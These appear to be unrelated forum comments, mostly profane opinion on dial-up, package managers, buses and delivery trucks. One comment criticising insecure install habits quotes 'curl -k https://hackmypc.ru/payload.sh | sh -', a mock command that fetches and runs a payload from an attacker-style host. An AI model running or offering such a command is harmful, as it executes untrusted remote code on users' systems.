Are the people rooting for the murderous theocrats in this room right now? Or do you need to see a psychiatrist about your inability to distinguish between criticism of one set of murderous shitbags, and support for the people they're murdering? Were the girls at that school murderous theocrats? Just curious.

Yes, the "Damned city folk don't understand" people come out whenever dial-up is mentioned, but here's the problem: DIAL UP IS FUCKING USELESS IN 2026.

Do you SERIOUSLY think you can browse the net at 56kbps? Google's home page currently weighs in at nearly 300Kb. Do you remember what it was to download 300k back in 1995? And Google's home page is one of the few on the net right now that's trying to be "lightweight". How big do you think Amazon's home page is right now?

What websites are still useful in 2026 that can be downloaded using a 56kbps modem?

I just use regular autocomplete to get my winning lottery numbers. I am now a multi millionaire!

Humans -- most of us -- don't think goblins are real, let alone important. But what if the AI has picked up on sparse evidence, so subtle that humans have never noticed it, that proves that goblins are real and need to be discussed more. It may be trying to save us from a pending gobocalypse.

ISTM that there ought to be consequences for this kind of thing slipping by unchecked. I don't know who or what in this case, but I would suggest the immediate disbarment in the somewhat common case of a lawyer who submits a legal brief with fake citations. Some professionals need to be held accountable for doing professional work.

Not eve language per se, but just of available text.

I get the impression most people here didn't spot the joke in the reply.

(The clue is in him hyping both AI and chiropractory, both mostly phony fields, for those missing it)

Completely impractical in 99% of cases. Manufacturers rarely sell directly to the public, and when they do, they usually do it in the form of an "Amazon store" or eBay equivalent.

I don't disagree at all. It's the #1 reason I decided not to recommend Rust to people... yet. Once they have a core library that supports critical features like encryption, or else has an alternative to crates.io that is curated and people take responsibility for, I'll change my mind.

It's ironic. I'd rather do stuff in PHP. Yes, an awfully large amount of stuff is via composer, but PHP, for the most part, doesn't require you actually use composer stuff, it has most of the core stuff built in. And I hate PHP, and everyone knows why, which makes me wonder why, in 2026, we're still fucking around trying to avoid PHP from equating "" to "0".

Anyway, if I were creating a new language, that'd be the first thing I discourage. Hell, I'd go out of my way to break it if a third party created an uncurated repo that everyone started to use.

The Middle Road: "I'm not an extremist, I think Trump Musk AOC and Sanders are extremists, I am a proud centrist who isn't extreme at all"

Also The Middle Road: "Isn't it a shame we're not all murdering each other."

OK, true, there are some jobs available where it isn't a practical requirement. But unfortunately pretty much any job that involves any of the languages covered by the above list generally ends up with the programmer having to use those tools.

(FWIW I resisted as much as I could at my last job, but we still had to use composer to build a plugin because updates to the plugin had stopped being available by more normal routes, and we had too much already dependent upon it. So now, because of a completely unnecessary rug pull, we had to use composer, which we sandboxed. In our case we could justify sandboxing the composer part because the software we wrote had to be PCI compliant, but... I am VERY unhappy with this particular trend in computing. People act as if the entire history of the Internet wasn't security problem after security problem, and the people who OUGHT to know best how to avoid security problems are quite intentionally creating new paths to ensure even they can be exploited.)

No, right now it's literally impossible to be a professional in the industry right now and not use something like NPM, Composer, or whatever. Most of us don't have any choice. And likewise, if someone finds an exploit in a common web browser and you don't know this, how the fuck are you supposed to mitigate from it?

It relies upon the ability to run a shell script. So essentially any cascading list of failures can result in this exploit being used. If Chrome has a buffer overflow, you can get root from that. If a library you're using via NPM, Composer, Rubygems, PIP, etc, is ever compromised, you'll be exploitable when you add it to your project, even though you never went near sudo.

Not to mention the fact that it's become ridiculously popular lately to instruct people to install, for example, new programming languages that are totally safe and built with security in mind *cough* Rust, by getting devs to type things like:

$ curl -k https://hackmypc.ru/payload.sh | sh -

(And in Rust's case, they really really want you to do it that way. *SIGH* FFS Rust people! You have a great idea going but you are RUINING it with this type of thing!)

Anyway, the point is you run arbitrary crap more than you think you do, and even if you didn't, things you rely on do sometimes have problems with them.

You need to patch this one now.

> Buses perturb traffic

Counterpoint: buses do not perturb traffic. Buses remove large numbers of cars from the road, and occupy roughly the same space as between 1 (minibus) and 4 (bendy-busses) cars do on the road while in motion at 30mph (ie including gaps between vehicles, etc.)

Buses are exceptionally efficient. Are they as fun and comfortable as trains? No, but trains don't have stations within quarter of a mile of your home or your office, and it would be impractical to build a train network that did unless you removed all regular roads and replaced them with a narrow gauge railway system using trains that run at maybe 10-15mph (because stopping distance would be a problem given there's typically quarter-to-half a mile between each stop.)

Do you ride buses out of interest, or are you one of these carosexuals who just complains about public transport and bases your views on 1970s movies about New York City (which didn't even describe NYC in the 1970s particularly well)?

I recall one of the most unhinged experiences of my life being when I described what I had done to a bunch of Americans once when I rode a bus from Hartford airport to the center of Hartford so I could catch a taxi home. It was, as you'd expect, an uneventful ride on a regular city bus, nothing to write home about in terms of comfort, well lit, easy to pay the fare, no problem with a long wait, that just went from A to B without any issues. Had a wide range of people in it, mostly lower income I suspect. But alas, my American friends acted as if I'd decided to walk through the roughest neighborhood in an episode of Starsky and Hutch, wearing a short skirt and heels, for a few hours while yelling "I HAZ MONEY! I'm RICH!!!"

Why? Because they were a bunch of drinkypoos, suburbanites who have literally no experience of buses who'd heard anecdotes about people being shanked or flashed that weren't really anecdotes, and do not really make sense, because if you do any of those things, THERE'S WITNESSES. If a gang tries to terrorize a bus full of passengers, the driver will stop them, and it'll make the fucking news. 99%+ of regular bus passengers will never see anything remotely violent or any actual crime beyond maybe a passenger lighting up a doobie - you know, like you see other drivers do. Except when car drivers do it THEY PUT YOU IN FUCKING DANGER. But you forget all of that. And you forget that drunks are more of a problem when they're driving than when they're passed out in the corner on a bus. You forget that people with anger issues are normally more likely to kill you when they are in a 3,000lb motor vehicle than when they're seething in their seat surrounded by other passengers likely to clock 'em.

But that doesn't stop your imagination going wild. And so my friends went crazy about me telling them I caught the bus from the airport.

Buses are great. Wish I lived in a place that actually had a practical bus system. And you'd wish that too, given they reduce traffic. And provide an option for those days you really would rather just read a book than drive to fucking work.

And?

I just checked. The largest supermarket chain in Florida is Publix, and is based on Lakeland. They have most of their products in warehouses and bakeries there that they distribute to other places across the state by truck.

An electric truck fleet would have almost the entire state's Publix supermarkets in range, with the exception of those on the keys and far west on the panhandle (I doubt, to be honest, given Publix's prices, there are many of those.)

They could fix this either by:

- having two additional depots
- having some diesel trucks for those specific routes, but electric for everything else.
- Or... now hold on, this might make your brain explode, they can give the driver a break every "12 hours" (or maybe every eight!), which... come to think of it, might be a good idea anyway.

Is it typical for a large retailer to have a central warehouse in each state and a fleet of trucks that deliver things to and from that warehouse and their stores? I will leave you to determine whether that's a normal thing that a sizable amount of trucks are used for.

And bear in mind, most states are smaller and squarer than Florida.